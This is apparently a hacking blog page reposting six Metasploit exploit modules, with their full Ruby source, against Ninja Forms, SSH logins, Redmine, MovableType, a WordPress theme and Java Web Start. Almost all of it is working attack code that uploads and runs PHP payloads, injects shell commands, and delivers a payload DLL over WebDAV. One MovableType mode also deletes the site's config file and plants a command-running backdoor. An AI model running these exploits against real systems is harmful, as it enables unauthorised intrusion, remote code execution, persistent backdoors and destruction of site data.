Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863158129

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'WordPress Ninja Forms Unauthenticated File Upload',
      'Description'     => %(
        Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain
        an unauthenticated file upload vulnerability, allowing guests
        to upload arbitrary PHP code that can be executed in the context
        of the web server.
      ),
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'James Golovich',                 # Discovery and disclosure
          'Rob Carr <rob[at]rastating.com>' # Metasploit module
        ],
      'References'      =>
        [
          ['CVE', '2016-1209'],
          ['WPVDB', '8485'],
          ['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities']
        ],
      'DisclosureDate'  => 'May 04 2016',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [['ninja-forms', {}]],
      'DefaultTarget'   => 0
    ))

    opts = [OptString.new('FORM_PATH', [true, 'The relative path of the page that hosts any form served by Ninja Forms'])]
    register_options(opts, self.class)
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_good(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

  def check
    check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36')
  end

  def enable_v3_functionality
    print_status 'Enabling vulnerable V3 functionality...'
    res = send_request_cgi(
      'method'    => 'GET',
      'uri'       => target_uri.path,
      'vars_get'  => { 'nf-switcher' => 'upgrade' }
    )

    unless res && res.code == 200
      if res
        fail_with(Failure::Unreachable, "Failed to enable the vulnerable V3 functionality. Server returned: #{res.code}, should be 200.")
      else
        fail_with(Failure::Unreachable, 'Connection timed out.')
      end
    end

    vprint_good 'Enabled V3 functionality'
  end

  def disable_v3_functionality
    print_status 'Disabling vulnerable V3 functionality...'
    res = send_request_cgi(
      'method'    => 'GET',
      'uri'       => target_uri.path,
      'vars_get'  => { 'nf-switcher' => 'rollback' }
    )

    if res && res.code == 200
      vprint_good 'Disabled V3 functionality'
    elsif !res
      print_error('Connection timed out while disabling V3 functionality')
    else
      print_error 'Failed to disable the vulnerable V3 functionality'
    end
  end

  def generate_mime_message(payload_name, nonce)
    data = Rex::MIME::Message.new
    data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"')
    data.add_part(nonce, nil, nil, 'form-data; name="security"')
    data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(10)}\"; filename=\"#{payload_name}\"")
    data
  end

  def fetch_ninja_form_nonce
    uri = normalize_uri(target_uri.path, datastore['FORM_PATH'])
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => uri
    )

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, "Unable to access FORM_PATH: #{datastore['FORM_PATH']}")
    end

    form_wpnonce = res.get_hidden_inputs.first
    form_wpnonce = form_wpnonce['_wpnonce'] if form_wpnonce

    nonce = res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1] || form_wpnonce

    unless nonce
      fail_with(Failure::Unknown, 'Cannot find wpnonce or ajaxNonce from FORM_PATH')
    end

    nonce
  end

  def upload_payload(data)
    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     => wordpress_url_admin_ajax,
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'data'    => data.to_s
    )

    fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
    vprint_error("Server responded with status code #{res.code}") if res.code != 200
  end

  def execute_payload(payload_name, payload_url)
    register_files_for_cleanup("nftmp-#{payload_name.downcase}")
    res = send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)

    if !res.nil? && res.code == 404
      print_error("Failed to upload the payload")
    else
      print_good("Executed payload")
    end
  end

  def exploit
    # Vulnerable code is only available in the version 3 preview mode, which can be
    # enabled by unauthenticated users due to lack of user level validation.
    enable_v3_functionality

    # Once the V3 preview mode is enabled, we can acquire a nonce by requesting any
    # page that contains a form generated by Ninja Forms.
    nonce = fetch_ninja_form_nonce

    print_status("Preparing payload...")
    payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
    payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', "nftmp-#{payload_name.downcase}")
    data = generate_mime_message(payload_name, nonce)

    print_status("Uploading payload to #{payload_url}")
    upload_payload(data)

    print_status("Executing the payload...")
    execute_payload(payload_name, payload_url)

    # Once the payload has been executed, we can disable the preview functionality again.
    disable_v3_functionality
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'net/ssh'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::SSH

  attr_accessor :ssh_socket

  def initialize
    super(
      'Name'             => 'SSH User Code Execution',
      'Description'      => %q{
        This module connects to the target system and executes the necessary
        commands to run the specified payload via SSH. If a native payload is
        specified, an appropriate stager will be used.
      },
      'Author'           => ['Spencer McIntyre', 'Brandon Knight'],
      'References'       =>
        [
          [ 'CVE', '1999-0502'] # Weak password
        ],
      'License'          => MSF_LICENSE,
      'Privileged'       => true,
      'DefaultOptions'   =>
        {
          'PrependFork'  => 'true',
          'EXITFUNC'     => 'process'
        },
      'Payload'          =>
        {
          'Space'        => 4096,
          'BadChars'     => "",
          'DisableNops'  => true
        },
      'Platform'         => %w{ linux osx python },
      'Targets'          =>
        [
          [ 'Linux x86',
            {
              'Arch'     => ARCH_X86,
              'Platform' => 'linux'
            }
          ],
          [ 'Linux x64',
            {
              'Arch'     => ARCH_X64,
              'Platform' => 'linux'
            }
          ],
          [ 'OSX x86',
            {
              'Arch'     => ARCH_X86,
              'Platform' => 'osx'
            }
          ],
          [ 'Python',
            {
              'Arch'     => ARCH_PYTHON,
              'Platform' => 'python'
            }
          ]
        ],
      'CmdStagerFlavor'  => %w{ bourne echo printf },
      'DefaultTarget'    => 0,
      # For the CVE
      'DisclosureDate'   => 'Jan 01 1999'
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, "The user to authenticate as.", 'root' ]),
        OptString.new('PASSWORD', [ true, "The password to authenticate with.", '' ]),
        OptString.new('RHOST', [ true, "The target address" ]),
        Opt::RPORT(22)
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false])
      ]
    )
  end

  def execute_command(cmd, opts = {})
    vprint_status("Executing #{cmd}")
    begin
      Timeout.timeout(3) do
        self.ssh_socket.exec!("#{cmd}\n")
      end
    rescue ::Exception
    end
  end

  def do_login(ip, user, pass, port)
    factory = ssh_socket_factory
    opt_hash = {
      :auth_methods  => ['password', 'keyboard-interactive'],
      :port          => port,
      :use_agent     => false,
      :config        => false,
      :password      => pass,
      :proxy         => factory,
      :non_interactive => true
    }

    opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']

    begin
      self.ssh_socket = Net::SSH.start(ip, user, opt_hash)
    rescue Rex::ConnectionError
      fail_with(Failure::Unreachable, 'Disconnected during negotiation')
    rescue Net::SSH::Disconnect, ::EOFError
      fail_with(Failure::Disconnected, 'Timed out during negotiation')
    rescue Net::SSH::AuthenticationFailed
      fail_with(Failure::NoAccess, 'Failed authentication')
    rescue Net::SSH::Exception => e
      fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
    end

    if not self.ssh_socket
      fail_with(Failure::Unknown, 'Failed to start SSH socket')
    end
    return
  end

  def exploit
    do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])

    print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending stager...")
    if target['Platform'] == 'python'
      execute_command("python -c \"#{payload.encoded}\"")
    else
      execute_cmdstager({:linemax => 500})
    end

    self.ssh_socket.close
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'


class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Redmine SCM Repository Arbitrary Command Execution',
      'Description'    => %q{
          This module exploits an arbitrary command execution vulnerability in the
        Redmine repository controller. The flaw is triggered when a rev parameter
        is passed to the command line of the SCM tool without adequate filtering.
      },
      'Author'         => [ 'joernchen <joernchen[at]phenoelit.de>' ],  #Phenoelit
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2011-4929'],
          ['OSVDB', '70090'],
          ['URL', 'http://www.redmine.org/news/49' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 512,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              #'RequiredCmd' => 'generic telnet',
            }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Dec 19 2010',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('URI', [true, "The full URI path to the project", "/projects/1/"]),
        ], self.class)
  end

  def exploit
    command = Rex::Text.uri_encode(payload.encoded)
    urlconfigdir = normalize_uri(datastore['URI'], "/repository/annotate") + "?rev=`#{command}`"

    res = send_request_raw({
      'uri'     => urlconfigdir,
      'method'  => 'GET',
      'headers' =>
      {
        'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
        'Connection' => 'Close',
      }
    }, 25)

    if (res)
      print_status("The server returned: #{res.code} #{res.message}")
    else
      print_status("No response from the server")
    end
    handler
  end

end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SixApart MovableType Storable Perl Code Execution',
      'Description'    => %q{
          This module exploits a serialization flaw in MovableType before 5.2.12 to execute
          arbitrary code. The default nondestructive mode depends on the target server having
          the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths.
          The destructive mode of operation uses only required MovableType dependencies,
          but it will noticeably corrupt the MovableType installation.
      },
      'Author'         =>
        [
          'John Lightsey',
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2015-1592' ],
          [ 'URL', 'https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html' ],
        ],
      'Privileged'     => false, # web server context
      'Payload'        =>
        {
          'DisableNops' => true,
          'BadChars'    => ' ',
          'Space'       => 1024,
        },
      'Compat'         =>
        {
          'PayloadType' => 'cmd'
        },
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Automatic', {}]],
      'DisclosureDate' => 'Feb 11 2015',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'MoveableType cgi-bin directory path', '/cgi-bin/mt/']),
        OptBool.new('DESTRUCTIVE', [true, 'Use destructive attack method (more likely to succeed, but corrupts target system.)', false])
      ], self.class
    )

  end

=begin
#!/usr/bin/perl
# generate config parameters for injection checks
use Storable;
{
    package XXXCHECKXXX;
    sub STORABLE_thaw {
        return 1;
    }
    sub STORABLE_freeze {
        return 1;
    }
}
my $check_obj = bless { ignore => 'this' }, XXXCHECKXXX;
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({ x => $check_obj});
$frozen = unpack 'H*', $frozen;
print "LFI test for storable flaw is: $frozen\n";
{
    package DateTime;
    use overload '+' => sub { 'ignored' };
}
=end

  def check
    vprint_status("Sending storable test injection for XXXCHECKXXX.pm load failure")
    res = send_request_cgi({
        'method'    => 'GET',
        'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
        'vars_get' => {
          '__mode' => 'retry',
          'step'   => 'configure',
          'config' => '53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078'
        }
      })

    unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm")
      vprint_status("Failed XXXCHECKXXX.pm load test");
      return Exploit::CheckCode::Safe
    end
    Exploit::CheckCode::Vulnerable
  end

  def exploit
    if datastore['DESTRUCTIVE']
      exploit_destructive
    else
      exploit_nondestructive
    end
  end

=begin
#!/usr/bin/perl
# Generate nondestructive config parameter for RCE via Object::MultiType
# and Try::Tiny. The generated value requires minor modification to insert
# the payload inside the system() call and resize the padding.
use Storable;
{
    package Object::MultiType;
    use overload '+' => sub { 'ingored' };
}
{
    package Object::MultiType::Saver;
}
{
    package DateTime;
    use overload '+' => sub { 'ingored' };
}
{
    package Try::Tiny::ScopeGuard;
}
my $try_tiny_loader = bless {}, 'DateTime';
my $multitype_saver = bless { c => 'MT::run_app' }, 'Object::MultiType::Saver';
my $multitype_coderef = bless \$multitype_saver, 'Object::MultiType';
my $try_tiny_executor = bless [$multitype_coderef, 'MT;print qq{Content-type: text/plain\n\n};system(q{});' . ('#' x 1025) . "\nexit;"], 'Try::Tiny::ScopeGuard';
my $data = [$try_tiny_loader, $try_tiny_executor];
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data);
$frozen = unpack 'H*', $frozen;
print "RCE payload requiring Object::MultiType and DateTime: $frozen\n";
=end

  def exploit_nondestructive
    print_status("Using nondestructive attack method")
    config_payload = "53455247000000000000000304080831323334353637380408080802020000001411084461746554696d6503000000000411155472793a3a54696e793a3a53636f7065477561726402020000001411114f626a6563743a3a4d756c7469547970650411184f626a6563743a3a4d756c7469547970653a3a536176657203010000000a0b4d543a3a72756e5f6170700100000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a20746578742f706c61696e5c6e5c6e7d3b73797374656d28717b"
    config_payload <<  payload.encoded.unpack('H*')[0]
    config_payload << "7d293b"
    config_payload << "23" * (1025 - payload.encoded.length)
    config_payload << "0a657869743b"

    print_status("Sending payload (#{payload.raw.length} bytes)")

    send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
      'vars_get' => {
        '__mode' => 'retry',
        'step'   => 'configure',
        'config' => config_payload
      }
    }, 5)
  end

=begin
#!/usr/bin/perl
# Generate destructive config parameter to unlink mt-config.cgi
use Storable;
{
    package CGITempFile;
}
my $unlink_target = "mt-config.cgi";
my $cgitempfile = bless \$unlink_target, "CGITempFile";
my $data = [$cgitempfile];
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data);
$frozen = unpack 'H*', $frozen;
print "RCE unlink payload requiring CGI: $frozen\n";
=end

  def exploit_destructive
    print_status("Using destructive attack method")
    # First we need to delete mt-config.cgi using the storable injection

    print_status("Sending storable injection to unlink mt-config.cgi")

    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
      'vars_get' => {
        '__mode' => 'retry',
        'step'   => 'configure',
        'config' => '534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769'
      }
    })

    if res && res.code == 200
      print_status("Successfully sent unlink request")
    else
      fail_with(Failure::Unknown, "Error sending unlink request")
    end

    # Now we rewrite mt-config.cgi to accept a payload

    print_status("Rewriting mt-config.cgi to accept the payload")

    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
      'vars_get'  => {
        '__mode'             => 'next_step',
        'step'               => 'optional',
        'default_language'   => 'en_us',
        'email_address_main' => "x\nObjectDriver mysql;use CGI;print qq{Content-type: text/plain\\n\\n};if(my $c = CGI->new()->param('xyzzy')){system($c);};unlink('mt-config.cgi');exit;1",
        'set_static_uri_to'  => '/',
        'config'             => '5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f', # equivalent to 'set_static_file_to' => '/',
      }
    })

    if res && res.code == 200
      print_status("Successfully sent mt-config rewrite request")
    else
      fail_with(Failure::Unknown, "Error sending mt-config rewrite request")
    end

    # Finally send the payload

    print_status("Sending payload request")

    send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'mt.cgi'),
      'vars_get'  => {
        'xyzzy'   => payload.encoded,
      }
    }, 5)
  end

end
            
##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'socket'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'WordPress Holding Pattern Theme Arbitrary File Upload',
      'Description'     => %q{
          This module exploits a file upload vulnerability in all versions of the
          Holding Pattern theme found in the upload_file.php script which contains
          no session or file validation. It allows unauthenticated users to upload
          files of any type and subsequently execute PHP scripts in the context of
          the web server.
        },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Alexander Borg',                 # Vulnerability disclosure
          'Rob Carr <rob[at]rastating.com>' # Metasploit module
        ],
      'References'      =>
        [
          ['CVE', '2015-1172'],
          ['WPVDB', '7784'],
          ['PACKETSTORM', '130282']
        ],
      'DisclosureDate'  => 'Feb 11 2015',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [['holding_pattern', {}]],
      'DefaultTarget'   => 0
    ))
  end

  def check
    check_theme_version_from_readme('holding_pattern')
  end

  def rhost
    datastore['RHOST']
  end

  def holding_pattern_uploads_url
    normalize_uri(wordpress_url_themes, 'holding_pattern', 'uploads/')
  end

  def holding_pattern_uploader_url
    normalize_uri(wordpress_url_themes, 'holding_pattern', 'admin', 'upload-file.php')
  end

  def generate_mime_message(payload, payload_name)
    data = Rex::MIME::Message.new
    target_ip = IPSocket.getaddress(rhost)
    field_name = Rex::Text.md5(target_ip)

    # In versions 1.2 and 1.3 of the theme, the upload directory must
    # be encoded in base64 and sent with the request. To maintain
    # compatibility with the hardcoded path of ../uploads in prior
    # versions, we will send the same path in the request.
    upload_path = Rex::Text.encode_base64('../uploads')

    data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{field_name}\"; filename=\"#{payload_name}\"")
    data.add_part(upload_path, nil, nil, 'form-data; name="upload_path"')
    data
  end

  def exploit
    print_status("Preparing payload...")
    payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.php"
    data = generate_mime_message(payload, payload_name)

    print_status("Uploading payload...")
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => holding_pattern_uploader_url,
      'ctype'     => "multipart/form-data; boundary=#{data.bound}",
      'data'      => data.to_s
    )
    fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
    fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200
    payload_url = normalize_uri(holding_pattern_uploads_url, payload_name)

    print_status("Executing the payload at #{payload_url}")
    register_files_for_cleanup(payload_name)
    send_request_cgi({ 'uri' => payload_url, 'method'  => 'GET' }, 5)
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  #
  # This module acts as an HTTP server
  #
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Sun Java Web Start Plugin Command Line Argument Injection',
      'Description'    => %q{
          This module exploits a flaw in the Web Start plugin component of Sun Java
        Web Start. The arguments passed to Java Web Start are not properly validated.
        By passing the lesser known -J option, an attacker can pass arbitrary options
        directly to the Java runtime. By utilizing the -XXaltjvm option, as discussed
        by Ruben Santamarta, an attacker can execute arbitrary code in the context of
        an unsuspecting browser user.
        This vulnerability was originally discovered independently by both Ruben
        Santamarta and Tavis Ormandy. Tavis reported that all versions since version
        6 Update 10 "are believed to be affected by this vulnerability."
        In order for this module to work, it must be ran as root on a server that
        does not serve SMB. Additionally, the target host must have the WebClient
        service (WebDAV Mini-Redirector) enabled.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 'jduck',
      'References'     =>
        [
          [ 'CVE', '2010-0886' ],
          [ 'CVE', '2010-1423' ],
          [ 'OSVDB', '63648' ],
          [ 'BID', '39346' ],
          [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2010-04/0122.html' ],
          [ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1' ]
        ],
      'Platform'       => 'win',
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => '',
          'DisableNops' => true,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
        },
      'Targets'        =>
        [
          [ 'Automatic', { } ],
          [ 'Java Runtime on Windows x86',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 09 2010'
      ))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
        OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
        OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ])
      ], self.class)
  end


  def auto_target(cli, request)
    agent = request.headers['User-Agent']

    ret = nil
    #print_status("Agent: #{agent}")
    # Check for MSIE and/or WebDAV redirector requests
    if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/
      ret = targets[1]
    elsif agent =~ /MSIE (6|7|8)\.0/
      ret = targets[1]
    else
      print_status("Unknown User-Agent #{agent}")
    end

    ret
  end


  def on_request_uri(cli, request)

    # For this exploit, this does little besides ensures the user agent is a recognized one..
    mytarget = target
    if target.name == 'Automatic'
      mytarget = auto_target(cli, request)
      if (not mytarget)
        send_not_found(cli)
        return
      end
    end

    # Special case to process OPTIONS for /
    if (request.method == 'OPTIONS' and request.uri == '/')
      process_options(cli, request, mytarget)
      return
    end

    # Discard requests for ico files
    if (request.uri =~ /\.ico$/i)
      send_not_found(cli)
      return
    end

    # If there is no subdirectory in the request, we need to redirect.
    if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)
      if (request.uri == '/')
        subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
      else
        subdir = request.uri + '/'
      end
      print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
      send_redirect(cli, subdir)
      return
    else
      share_name = $1
    end

    # dispatch WebDAV requests based on method first
    case request.method
    when 'OPTIONS'
      process_options(cli, request, mytarget)

    when 'PROPFIND'
      process_propfind(cli, request, mytarget)

    when 'GET'
      process_get(cli, request, mytarget, share_name)

    when 'PUT'
      print_status("Sending 404 for PUT #{request.uri} ...")
      send_not_found(cli)

    else
      print_error("Unexpected request method encountered: #{request.method}")

    end

  end

  #
  # GET requests
  #
  def process_get(cli, request, target, share_name)

    print_status("Responding to \"GET #{request.uri}\" request")
    # dispatch based on extension
    if (request.uri =~ /\.dll$/i)
      #
      # DLL requests sent by IE and the WebDav Mini-Redirector
      #
      print_status("Sending DLL")

      # Re-generate the payload
      return if ((p = regenerate_payload(cli)) == nil)

      # Generate a DLL based on the payload
      dll_data = generate_payload_dll({ :code => p.encoded })

      # Send it :)
      send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })

    else
      #
      # HTML requests sent by IE and Firefox
      #
      # This could probably use the Host header from the request
      my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

      # Always prepare the UNC path, even if we dont use it for this request...
      if (datastore['UNCPATH'])
        unc = datastore['UNCPATH'].dup
      else
        unc = "\\\\" + my_host + "\\" + share_name
      end
      jnlp = "-J-XXaltjvm=" + unc + " -Xnosplash " + rand_text_alphanumeric(8+rand(8)) + ".jnlp"
      docbase = rand_text_alphanumeric(8+rand(8))

      # Provide the corresponding HTML page...
      if (request.uri =~ /\.shtml/i)
        print_status("Sending JS version HTML")
        # Javascript version...
        var_str = rand_text_alpha(8+rand(8))
        var_obj = rand_text_alpha(8+rand(8))
        var_obj2 = rand_text_alpha(8+rand(8))
        var_obj3 = rand_text_alpha(8+rand(8))
        js_jnlp = "http: "
        js_jnlp << jnlp.dup.gsub("\\", "\\\\\\\\") # jeez

        # The 8ad.. CLSID doesn't support the launch method ...
        #clsid = '8AD9C840-044E-11D1-B3E9-00805F499D93'
        clsid = 'CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA'
        html = %Q|<html>
<body>Please wait...
<script language="javascript">
var #{var_str} = "#{js_jnlp}";
if (window.navigator.appName == "Microsoft Internet Explorer") {
var #{var_obj} = document.createElement("OBJECT");
#{var_obj}.classid = "clsid:#{clsid}";
#{var_obj}.launch(#{var_str});
} else {
try {
var #{var_obj2} = document.createElement("OBJECT");
#{var_obj2}.type = "application/npruntime-scriptable-plugin;deploymenttoolkit";
document.body.appendChild(#{var_obj2});
#{var_obj2}.launch(#{var_str});
} catch (e) {
var #{var_obj3} = document.createElement("OBJECT");
#{var_obj3}.type = "application/java-deployment-toolkit";
document.body.appendChild(#{var_obj3});
#{var_obj3}.launch(#{var_str});
}
}
</script>
</body>
</html>
|
      elsif (request.uri =~ /\.htm/i)
        print_status("Sending non-JS version HTML")
        clsids = [ '8AD9C840-044E-11D1-B3E9-00805F499D93', 'CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA' ]
        clsid = clsids[rand(clsids.length)]
        html = %Q|<html>
<body>Please wait...
<object id="#{var_obj}" classid="clsid:#{clsid}"
width="0" height="0">
<PARAM name="launchjnlp" value="#{jnlp}">
<PARAM name="docbase" value="#{docbase}">
</object>
<embed type="application/x-java-applet"
width="0" height="0"
launchjnlp="#{jnlp}"
docbase="#{docbase}"
/>
</body>
</html>
|
      else
        print_status("Sending js detection HTML")

        # NOTE: The JS version is preferred to the HTML version since it works on more JRE versions
        js_uri = rand_text_alphanumeric(8+rand(8)) + ".shtml"
        no_js_uri = rand_text_alphanumeric(8+rand(8)) + ".htm"

        html = %Q|<html>
<head>
<meta http-equiv="refresh" content="2;#{no_js_uri}" />
</head>
<body>
Please wait...
<script language="javascript">
document.location = "#{js_uri}";
</script>
</body>
</html>
|
        # end of detection html
      end

      send_response_html(cli, html,
        {
          'Content-Type' => 'text/html',
          'Pragma' => 'no-cache'
        })
    end

  end

  #
  # OPTIONS requests sent by the WebDav Mini-Redirector
  #
  def process_options(cli, request, target)
    print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request")
    headers = {
      #'DASL'   => '<DAV:sql>',
      #'DAV'    => '1, 2',
      'Allow'  => 'OPTIONS, GET, PROPFIND',
      'Public' => 'OPTIONS, GET, PROPFIND'
    }
    send_response(cli, '', headers)
  end


  #
  # PROPFIND requests sent by the WebDav Mini-Redirector
  #
  def process_propfind(cli, request, target)
    path = request.uri
    print_status("Received WebDAV \"PROPFIND #{request.uri}\" request")
    body = ''

    if (path =~ /\.dll$/i)
      # Response for the DLL
      print_status("Sending DLL multistatus for #{path} ...")
#<lp1:getcontentlength>45056</lp1:getcontentlength>
      body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

    elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
      # Response for anything else (generally just /)
      print_status("Sending directory multistatus for #{path} ...")
      body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

    else
      print_status("Sending 404 for #{path} ...")
      send_not_found(cli)
      return

    end

    # send the response
    resp = create_response(207, "Multi-Status")
    resp.body = body
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp)
  end


  #
  # Make sure we're on the right port/path to support WebDAV
  #
  def exploit
    if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
      fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
    end

    super
  end

end
            
##
